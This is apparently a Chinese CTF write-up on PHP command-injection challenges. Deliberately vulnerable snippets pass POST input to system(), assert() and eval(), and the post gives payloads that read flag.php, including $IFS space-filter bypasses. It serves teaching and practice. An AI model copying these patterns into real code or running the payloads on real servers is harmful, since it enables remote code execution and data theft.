码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 云尘 命令执行系列


    第一题 system

    1. include "flag.php";
    2. if (isset($_POST['cmd'])) {
    3. system($_POST['cmd']);
    4. }
    5. show_source(__FILE__);

    代码如上

    system($_POST['cmd']);

    POST请求发送一个名为 cmd 的参数,然后将该参数的值传递给系统命令执行函数 system(),这意味着可以发送任意系统命令并执行它们。

    我们用post方式传入cmd=cat flag.php

    得到flag

    第二题 assert

    代码如下

    1. include "flag.php";
    2. //assert("phpinfo()");
    3. if (isset($_POST['cmd'])) {
    4. $a = $_POST['cmd'];
    5. assert($a);
    6. }
    7. show_source(__FILE__);

     代码审计

    assert($a);

    //assert() 函数它允许执行任意的PHP代码字符串。在这里,它被用来执行 $a 变量中的代码。这意味着用户可以通过POST请求的 "cmd" 参数注入并执行他们想要的PHP代码

    show_source(__FILE__);

    //show_source() 函数用于显示当前脚本的源代码。这意味着通过浏览器访问这个脚本时,您将能够看到脚本的源代码,包括 flag.php 文件的内容

    if (isset($_POST['cmd']))

    //这个条件检查是否存在名为 "cmd" 的POST请求参数。

    $a = $_POST['cmd'];

    //如果 "cmd" 参数存在,它的值被赋给了变量 $a。

    我们用cmd执行system命令中的读取flag命令,得到flag

    第三题  签到1-eval

    1. include "flag.php";
    2. if (isset ($_POST['cmd'])) {
    3. eval($_POST['cmd']);
    4. }
    5. show_source(__FILE__);

    代码如上

    我们post个cmd,让cmd去执行system系统命令

    cmd=system(' cat flag.php');

    payload:

    知识点:

    • php insert函数

    isset() 函数用于检测变量是否已设置并且非 NULL

    若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

    同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

    • php assert函数

    assert() 函数它允许执行任意的PHP代码字符串

    • system函数

    在c语言代码中,cmd命令,皆可以字符串形式,作为system函数的参数,调用system函数执行命令

    (注意,如,system("color f4"),命令是放在一对双引号里的

    • 文件读取命令

    使用cat命令 cat flag.php

    使用tac命令 tac flag.php

    绕过空格过滤 cat${IFS}flag.php

                cat$IFS$1flag.php

  • 相关阅读:
    java毕业设计iMeli在线彩妆店铺mybatis+源码+调试部署+系统+数据库+lw
    2434: 【区赛】[慈溪2013]统计方格
    vue3 基于el-tree增加、删除节点(非TypeScript 写法)
    Web服务器部署上线的踩坑流程回顾与知新
    Kubernetes 使用 containerd 做为 CRI
    提供CY系列菁染料CY3、CY5、CY5.5、CY7、CY7.5,ICG,荧光素FITC,Bodipy系列染料标记葡聚糖Dextran
    阿里内网不传之秘:Java微服务实战笔记,共140个案例手把手教学,让你成为高级java程序员
    R可视化:给柱状图添加网格
    六月集训(25)树状数组
    客户端版socket,完成消息广播,详解Websocket即时通信,点名系统
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134275384
  • 最新文章
  • 【Agentic RL / 强化学习 / OPD】OpenClaw-RL 源码阅读笔记 --- (5)--- 异步处理
    深度学习进阶(二十六)现代 LLM 的核心架构设计其一:RMSNorm
    "TokenFormer: Unify the Multi-Field and Sequential Recommendation Worlds" 论文笔记
    论文复现【DualMap: Online Open-Vocabulary Semantic Mapping for Natural Language Navigation in Dynamic Changing Scenes】
    张高兴的 Hailo-10 开发指南:(一)实现离线语音识别
    用 SymPy 解决 Manim 曲线绘制速度不均的问题
    Solon 热加载与插件热插拔:Debug 模式 × E-Spi × H-Spi 全解析
    23. AI 智能体真的很难吗?5分钟一次性讲明白
    c#从零开始:基于卷影复制的轻量级版本管理实现
    [MAF的Agent管道详解-06]ChatClientAgent对IChatClient和输入输出增强管道的整合
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号